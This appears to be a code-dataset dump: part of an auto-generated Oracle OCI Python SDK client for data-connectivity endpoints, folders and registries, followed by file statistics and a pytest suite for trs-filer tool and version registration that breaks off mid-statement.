update_endpoint API. """ resource_path = "/endpoints/{endpointId}" method = "PUT" operation_name = "update_endpoint" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "registry_id", "if_match", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "update_endpoint got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "endpointId": endpoint_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) query_params = { "registryId": kwargs.get("registry_id", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "if-match": kwargs.get("if_match", missing), "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, body=update_endpoint_details, response_type="Endpoint", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, body=update_endpoint_details, response_type="Endpoint", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def update_folder(self, registry_id, folder_key, update_folder_details, **kwargs): """ Updates a folder under a specefied registry. :param str registry_id: (required) The registry Ocid. :param str folder_key: (required) The folder ID. :param oci.data_connectivity.models.UpdateFolderDetails update_folder_details: (required) The information needed to update a folder. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the `etag` from a previous GET or POST response for that resource. The resource will be updated or deleted only if the `etag` you provide matches the resource's current `etag` value. When 'if-match' is provided and its value does not exactly match the 'etag' of the resource on the server, the request fails with the 412 response code. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.Folder` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/update_folder.py.html>`__ to see an example of how to use update_folder API. """ resource_path = "/registries/{registryId}/folders/{folderKey}" method = "PUT" operation_name = "update_folder" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "if_match" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "update_folder got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "folderKey": folder_key } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing), "if-match": kwargs.get("if_match", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=update_folder_details, response_type="Folder", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=update_folder_details, response_type="Folder", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def update_registry(self, registry_id, update_registry_details, **kwargs): """ Updates the Data Connectivity Management Registry :param str registry_id: (required) The registry Ocid. :param oci.data_connectivity.models.UpdateRegistryDetails update_registry_details: (required) The information to be updated. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the `etag` from a previous GET or POST response for that resource. The resource will be updated or deleted only if the `etag` you provide matches the resource's current `etag` value. When 'if-match' is provided and its value does not exactly match the 'etag' of the resource on the server, the request fails with the 412 response code. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.Registry` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/update_registry.py.html>`__ to see an example of how to use update_registry API. """ resource_path = "/registries/{registryId}" method = "PUT" operation_name = "update_registry" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "if_match", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "update_registry got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "if-match": kwargs.get("if_match", missing), "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=update_registry_details, response_type="Registry", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=update_registry_details, response_type="Registry", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def validate_data_asset_network_reachablity(self, endpoint_id, **kwargs): """ Validates the dataAsset network Reachability. :param str endpoint_id: (required) DCMS Endpoint id :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the `etag` from a previous GET or POST response for that resource. The resource will be updated or deleted only if the `etag` you provide matches the resource's current `etag` value. When 'if-match' is provided and its value does not exactly match the 'etag' of the resource on the server, the request fails with the 412 response code. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str opc_retry_token: (optional) A token that uniquely identifies a request so it can be retried in case of a timeout or server error without risk of executing that same action again. :param str registry_id: (optional) DCMS registry id :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type None :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/validate_data_asset_network_reachablity.py.html>`__ to see an example of how to use validate_data_asset_network_reachablity API. """ resource_path = "/endpoints/{endpointId}/actions/validateDataAssetNetworkReachablity" method = "POST" operation_name = "validate_data_asset_network_reachablity" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "if_match", "opc_request_id", "opc_retry_token", "registry_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "validate_data_asset_network_reachablity got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "endpointId": endpoint_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) query_params = { "registryId": kwargs.get("registry_id", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "if-match": kwargs.get("if_match", missing), "opc-request-id": kwargs.get("opc_request_id", missing), "opc-retry-token": kwargs.get("opc_retry_token", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_retry_token_if_needed(header_params) self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link)
49.762765
349
0.65102
44,879
363,517
5.07079
0.014728
0.054383
0.031225
0.006275
0.950033
0.938204
0.929886
0.919977
0.913175
0.907115
0
0.000725
0.271038
363,517
7,304
350
49.769578
0.85807
0.40326
0
0.850868
0
0
0.155039
0.029432
0
0
0
0
0
1
0.014888
false
0.000248
0.002233
0
0.04665
0.000248
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
e981b31635424d49d1df84d4228380d8b39302e3
22,197
py
Python
tests/ga4gh/trs/endpoints/test_register_objects.py
zagganas/trs-filer
64b86dd37155319a171834fdd221abe1308cc107
[ "Apache-2.0" ]
8
2020-07-25T04:32:11.000Z
2021-11-11T22:27:56.000Z
tests/ga4gh/trs/endpoints/test_register_objects.py
zagganas/trs-filer
64b86dd37155319a171834fdd221abe1308cc107
[ "Apache-2.0" ]
61
2020-07-08T02:33:39.000Z
2022-03-21T15:34:32.000Z
tests/ga4gh/trs/endpoints/test_register_objects.py
zagganas/trs-filer
64b86dd37155319a171834fdd221abe1308cc107
[ "Apache-2.0" ]
4
2020-09-18T05:50:46.000Z
2021-11-08T13:51:42.000Z
"""Tests for setting tools and tool versions.""" from copy import deepcopy import string # noqa: F401 from unittest.mock import MagicMock from flask import Flask from foca.models.config import (Config, MongoConfig) import mongomock from pymongo.errors import DuplicateKeyError import pytest import requests from tests.mock_data import ( ENDPOINT_CONFIG, ENDPOINT_CONFIG_CHARSET_LITERAL, ENDPOINT_CONFIG_ONE_ID, ENDPOINT_CONFIG_TOOL_CLASS_VALIDATION, MOCK_CONTAINER_FILE, MOCK_DESCRIPTOR_FILE, MOCK_DESCRIPTOR_SEC_FILE, MOCK_FILES_CHECKSUM_MISSING, MOCK_FILES_CONTENT_URL_MISSING, MOCK_ID, MOCK_ID_ONE_CHAR, MOCK_TOOL, MOCK_TOOL_VERSION_ID, MOCK_TOOL_DUPLICATE_VERSION_IDS, MOCK_VERSION_ID, MOCK_VERSION_NO_ID, MONGO_CONFIG, ) from trs_filer.errors.exceptions import ( BadRequest, InternalServerError, NotFound, ) from trs_filer.ga4gh.trs.endpoints.register_objects import ( RegisterTool, RegisterToolVersion, ) def _raise(exception) -> None: """General purpose exception raiser.""" raise exception class TestRegisterTool: """Tests for `RegisterTool` class.""" def test_init(self): """Test for constructing class.""" app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG, ) data = deepcopy(MOCK_TOOL) with app.app_context(): tool = RegisterTool(data=data) assert tool.data['description'] == MOCK_TOOL['description'] assert tool.data['id'] is None def test_process_metadata(self): """Test for processing metadata.""" app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG_CHARSET_LITERAL, ) data = deepcopy(MOCK_TOOL) with app.app_context(): tool = RegisterTool(data=data) tool.process_metadata() assert isinstance(tool.id_charset, str) def test_register_metadata(self): """Test for creating a tool with a randomly assigned identifier.""" app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG, ) app.config['FOCA'].db.dbs['trsStore'].collections['tools'] \ .client = MagicMock() app.config['FOCA'].db.dbs['trsStore'].collections['toolclasses'] \ .client = MagicMock() data = deepcopy(MOCK_TOOL_VERSION_ID) with app.app_context(): tool = RegisterTool(data=data) tool.register_metadata() assert isinstance(tool.data['id'], str) def test_register_metadata_with_id(self): """Test for creating a tool with a user-supplied identifier.""" app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG, ) app.config['FOCA'].db.dbs['trsStore'].collections['tools'] \ .client = MagicMock() app.config['FOCA'].db.dbs['trsStore'].collections['toolclasses'] \ .client = MagicMock() data = deepcopy(MOCK_TOOL_VERSION_ID) with app.app_context(): tool = RegisterTool(data=data, id=MOCK_ID) tool.register_metadata() assert tool.data['id'] == MOCK_ID def test_register_metadata_with_id_replace(self): """Test for updating an existing tool.""" app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG, ) mock_resp = deepcopy(MOCK_TOOL_VERSION_ID) mock_resp["id"] = MOCK_ID app.config['FOCA'].db.dbs['trsStore'].collections['tools'] \ .client = MagicMock() app.config['FOCA'].db.dbs['trsStore'].collections['toolclasses'] \ .client = MagicMock() app.config['FOCA'].db.dbs['trsStore'].collections['tools'] \ .client.insert_one(mock_resp) data = deepcopy(MOCK_TOOL_VERSION_ID) with app.app_context(): tool = RegisterTool(data=data, id=MOCK_ID) tool.register_metadata() assert tool.data['id'] == MOCK_ID def test_register_metadata_duplicate_version_ids_BadRequest(self): """Test for creating a tool; duplicate version identifiers supplied.""" app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG, ) app.config['FOCA'].db.dbs['trsStore'].collections['tools'] \ .client = MagicMock() app.config['FOCA'].db.dbs['trsStore'] \ .collections['tools'].client.insert_one = MagicMock() data = deepcopy(MOCK_TOOL_DUPLICATE_VERSION_IDS) with app.app_context(): with pytest.raises(BadRequest): tool = RegisterTool(data=data) tool.register_metadata() def test_create_tool_invalid_file_data_no_content_or_url_BadRequest(self): """Test for creating a tool; both file `content` and `url` fields missing. """ app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG, ) app.config['FOCA'].db.dbs['trsStore'].collections['tools'] \ .client = MagicMock() app.config['FOCA'].db.dbs['trsStore'].collections['toolclasses'] \ .client = MagicMock() temp_data = deepcopy(MOCK_TOOL_VERSION_ID) temp_data['versions'][0]['files'] = MOCK_FILES_CONTENT_URL_MISSING data = temp_data with app.app_context(): with pytest.raises(BadRequest): tool = RegisterTool(data=data) tool.register_metadata() def test_create_tool_invalid_file_data_no_checksum_BadRequest(self): """Test for creating a tool; file `checksum` field missing although production tool. """ app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG, ) app.config['FOCA'].db.dbs['trsStore'].collections['tools'] \ .client = MagicMock() app.config['FOCA'].db.dbs['trsStore'].collections['toolclasses'] \ .client = MagicMock() data = deepcopy(MOCK_TOOL_VERSION_ID) data['versions'][0]['files'] = MOCK_FILES_CHECKSUM_MISSING with app.app_context(): with pytest.raises(BadRequest): tool = RegisterTool(data=data) tool.register_metadata() def test_register_metadata_with_tool_class_validation(self): """Test for creating a tool with tool class validation passing.""" app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG_TOOL_CLASS_VALIDATION, ) app.config['FOCA'].db.dbs['trsStore'].collections['tools'] \ .client = MagicMock() app.config['FOCA'].db.dbs['trsStore'].collections['toolclasses'] \ .client = MagicMock() data = deepcopy(MOCK_TOOL_VERSION_ID) with app.app_context(): tool = RegisterTool(data=data) tool.register_metadata() assert isinstance(tool.data['id'], str) def test_register_metadata_with_tool_class_validation_BadRequest(self): """Test for creating a tool with tool class validation failing.""" app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG_TOOL_CLASS_VALIDATION, ) app.config['FOCA'].db.dbs['trsStore'].collections['tools'] \ .client = mongomock.MongoClient().db.collection app.config['FOCA'].db.dbs['trsStore'].collections['toolclasses'] \ .client = mongomock.MongoClient().db.collection data = deepcopy(MOCK_TOOL_VERSION_ID) data['toolclass']['id'] = MOCK_ID + MOCK_ID with app.app_context(): with pytest.raises(BadRequest): tool = RegisterTool(data=data) tool.register_metadata() def test_register_metadata_without_tool_class_identifier(self): """Test for creating a tool with tool class without an identifier.""" app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG_TOOL_CLASS_VALIDATION, ) app.config['FOCA'].db.dbs['trsStore'].collections['tools'] \ .client = MagicMock() app.config['FOCA'].db.dbs['trsStore'].collections['toolclasses'] \ .client = MagicMock() data = deepcopy(MOCK_TOOL_VERSION_ID) data["toolclass"].pop("id") with app.app_context(): tool = RegisterTool(data=data) tool.register_metadata() assert isinstance(tool.data['id'], str) def test_register_metadata_tool_duplicate_key(self): """Test for creating a tool; duplicate key error occurs.""" app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG, ) mock_resp = MagicMock(side_effect=[DuplicateKeyError(''), None]) app.config['FOCA'].db.dbs['trsStore'].collections['tools'] \ .client = MagicMock() app.config['FOCA'].db.dbs['trsStore'].collections['toolclasses'] \ .client = MagicMock() app.config['FOCA'].db.dbs['trsStore'].collections['tools'] \ .client.insert_one = mock_resp temp_data = deepcopy(MOCK_TOOL) data = temp_data with app.app_context(): tool = RegisterTool(data=data) tool.register_metadata() assert isinstance(tool.data['id'], str) def test_register_metadata_duplicate_keys_repeated(self): """Test for creating a tool; running out of unique identifiers.""" app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG_ONE_ID, ) mock_resp = deepcopy(MOCK_TOOL_VERSION_ID) mock_resp["id"] = MOCK_ID_ONE_CHAR app.config['FOCA'].db.dbs['trsStore'].collections['tools'] \ .client = mongomock.MongoClient().db.collection app.config['FOCA'].db.dbs['trsStore'].collections['toolclasses'] \ .client = mongomock.MongoClient().db.collection app.config['FOCA'].db.dbs['trsStore'].collections['tools'] \ .client.insert_one(mock_resp) data = deepcopy(MOCK_TOOL) with app.app_context(): with pytest.raises(InternalServerError): tool = RegisterTool(data=data) tool.register_metadata() tool = RegisterTool(data=data) tool.register_metadata() print(tool.data['id']) class TestRegisterToolVersion: """Tests for `RegisterToolVersion` class.""" def test_init(self): """Test for constructing class.""" app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG, ) data = deepcopy(MOCK_VERSION_NO_ID) with app.app_context(): tool = RegisterToolVersion(data=data, id=MOCK_ID) assert tool.data['name'] == MOCK_VERSION_NO_ID['name'] assert tool.id == MOCK_ID def test_process_metadata(self): """Test for processing metadata.""" app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG_CHARSET_LITERAL, ) data = deepcopy(MOCK_VERSION_NO_ID) with app.app_context(): tool = RegisterToolVersion(data=data, id=MOCK_ID) tool.process_metadata() assert isinstance(tool.id_charset, str) def test_process_files_invalid_descriptor_type(self): """Test for processing files with an invalid descriptor type.""" app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG_CHARSET_LITERAL, ) data = deepcopy(MOCK_VERSION_NO_ID) mock_file = deepcopy(MOCK_DESCRIPTOR_FILE) mock_file["type"] = "invalid" with app.app_context(): with pytest.raises(BadRequest): tool = RegisterToolVersion(data=data, id=MOCK_ID) tool.data['files'] = [mock_file] tool.process_files() def test_process_files_multiple_primary_descriptors(self): """Test for processing files with more than one descriptor being annotated as primary descriptor. """ app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG_CHARSET_LITERAL, ) data = deepcopy(MOCK_VERSION_NO_ID) mock_descriptor = deepcopy(MOCK_DESCRIPTOR_FILE) mock_descriptor['tool_file']['path'] = 'random_path' data['files'].append(mock_descriptor) with app.app_context(): with pytest.raises(BadRequest): tool = RegisterToolVersion(data=data, id=MOCK_ID) tool.data['files'] = data['files'] tool.process_files() def test_process_files_secondary_but_not_primary_descriptor(self): """Test for processing files with a secondary descriptor but no primary descriptor file. """ app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG_CHARSET_LITERAL, ) data = deepcopy(MOCK_VERSION_NO_ID) data['files'] = [MOCK_DESCRIPTOR_SEC_FILE] with app.app_context(): with pytest.raises(BadRequest): tool = RegisterToolVersion(data=data, id=MOCK_ID) tool.data['files'] = data['files'] tool.process_files() def test_process_files_invalid_container_type(self): """Test for processing files with an invalid container type.""" app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG_CHARSET_LITERAL, ) data = deepcopy(MOCK_VERSION_NO_ID) mock_file = deepcopy(MOCK_CONTAINER_FILE) mock_file["type"] = "invalid" with app.app_context(): with pytest.raises(BadRequest): tool = RegisterToolVersion(data=data, id=MOCK_ID) tool.data['files'] = [mock_file] tool.process_files() def test_process_files_non_unique_paths(self): """Test for processing files when multiple file objects associated with a given descriptor type share the same path. """ app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG_CHARSET_LITERAL, ) data = deepcopy(MOCK_VERSION_NO_ID) tmp_file_obj1 = deepcopy(MOCK_DESCRIPTOR_FILE) tmp_file_obj2 = deepcopy(MOCK_DESCRIPTOR_SEC_FILE) tmp_file_obj1["tool_file"]["path"] = "tmp_url" tmp_file_obj2["tool_file"]["path"] = "tmp_url" data['files'] = [tmp_file_obj1, tmp_file_obj2] with app.app_context(): with pytest.raises(BadRequest): tool = RegisterToolVersion(data=data, id=MOCK_ID) tool.data['files'] = data['files'] tool.process_files() def test_process_files_no_content(self, monkeypatch): """Test for processing files with no content provided.""" app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG_CHARSET_LITERAL, ) class MockResponse: text = MOCK_ID def __init__(*args, **kwargs): pass monkeypatch.setattr('requests.get', MockResponse) data = deepcopy(MOCK_VERSION_NO_ID) mock_file = deepcopy(MOCK_CONTAINER_FILE) del mock_file['file_wrapper']['content'] mock_file['file_wrapper']['url'] = MOCK_ID with app.app_context(): tool = RegisterToolVersion(data=data, id=MOCK_ID) tool.data['files'] = [mock_file] tool.process_files() def test_process_files_no_content_invalid_url(self, monkeypatch): """Test for processing files with no content provided and an invalid URL. """ app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG_CHARSET_LITERAL, ) monkeypatch.setattr( 'requests.get', lambda *args, **kwargs: _raise(requests.exceptions.ConnectionError) ) data = deepcopy(MOCK_VERSION_NO_ID) mock_file = deepcopy(MOCK_CONTAINER_FILE) del mock_file['file_wrapper']['content'] mock_file['file_wrapper']['url'] = MOCK_ID with app.app_context(): with pytest.raises(BadRequest): tool = RegisterToolVersion(data=data, id=MOCK_ID) tool.data['files'] = [mock_file] tool.process_files() def test_register_metadata(self): """Test for creating a version with a randomly assigned identifier.""" app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG_CHARSET_LITERAL, ) mock_resp = deepcopy(MOCK_TOOL_VERSION_ID) mock_resp["id"] = MOCK_ID app.config['FOCA'].db.dbs['trsStore'].collections['tools'] \ .client = MagicMock() app.config['FOCA'].db.dbs['trsStore'].collections['tools'] \ .client.insert_one(mock_resp) data = deepcopy(MOCK_VERSION_NO_ID) with app.app_context(): version = RegisterToolVersion(data=data, id=MOCK_ID) version.register_metadata() assert isinstance(version.data, dict) def test_register_metadata_with_id(self): """Test for creating a version with a user-supplied identifier.""" app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG_CHARSET_LITERAL, ) app.config['FOCA'].db.dbs['trsStore'].collections['tools'] \ .client = MagicMock() data = deepcopy(MOCK_VERSION_NO_ID) with app.app_context(): version = RegisterToolVersion( data=data, id=MOCK_ID, version_id=MOCK_ID, ) version.register_metadata() assert isinstance(version.data, dict) def test_register_metadata_with_id_replace(self): """Test for updating an existing version.""" app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG_CHARSET_LITERAL, ) mock_resp = deepcopy(MOCK_TOOL_VERSION_ID) mock_resp["id"] = MOCK_ID app.config['FOCA'].db.dbs['trsStore'].collections['tools'] \ .client = MagicMock() app.config['FOCA'].db.dbs['trsStore'].collections['tools'] \ .client.insert_one(mock_resp) data = deepcopy(MOCK_VERSION_ID) with app.app_context(): version = RegisterToolVersion(data=data, id=MOCK_ID) version.register_metadata() assert isinstance(version.data, dict) def test_register_metadata_duplicate_keys(self): """Test for creating a version; running out of unique identifiers.""" app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG_ONE_ID, ) mock_resp = deepcopy(MOCK_TOOL_VERSION_ID) mock_resp["id"] = MOCK_ID mock_resp["versions"][0]["id"] = MOCK_ID_ONE_CHAR app.config['FOCA'].db.dbs['trsStore'].collections['tools'] \ .client = mongomock.MongoClient().db.collection app.config['FOCA'].db.dbs['trsStore'].collections['toolclasses'] \ .client = mongomock.MongoClient().db.collection app.config['FOCA'].db.dbs['trsStore'].collections['tools'] \ .client.insert_one(mock_resp) data = deepcopy(MOCK_VERSION_NO_ID) with app.app_context(): with pytest.raises(InternalServerError): version = RegisterToolVersion(data=data, id=MOCK_ID) version.register_metadata() version = RegisterToolVersion(data=data, id=MOCK_ID) version.register_metadata() def test_register_metadata_tool_na(self): """Test for creating/updating a version; tool not available.""" app = Flask(__name__) app.config['FOCA'] = Config( db=MongoConfig(**MONGO_CONFIG), endpoints=ENDPOINT_CONFIG_ONE_ID, ) mock_resp = deepcopy(MOCK_TOOL_VERSION_ID) mock_resp["id"] = MOCK_ID_ONE_CHAR app.config['FOCA'].db.dbs['trsStore'].collections['tools'] \ .client = mongomock.MongoClient().db.collection app.config['FOCA'].db.dbs['trsStore'].collections['tools'] \ 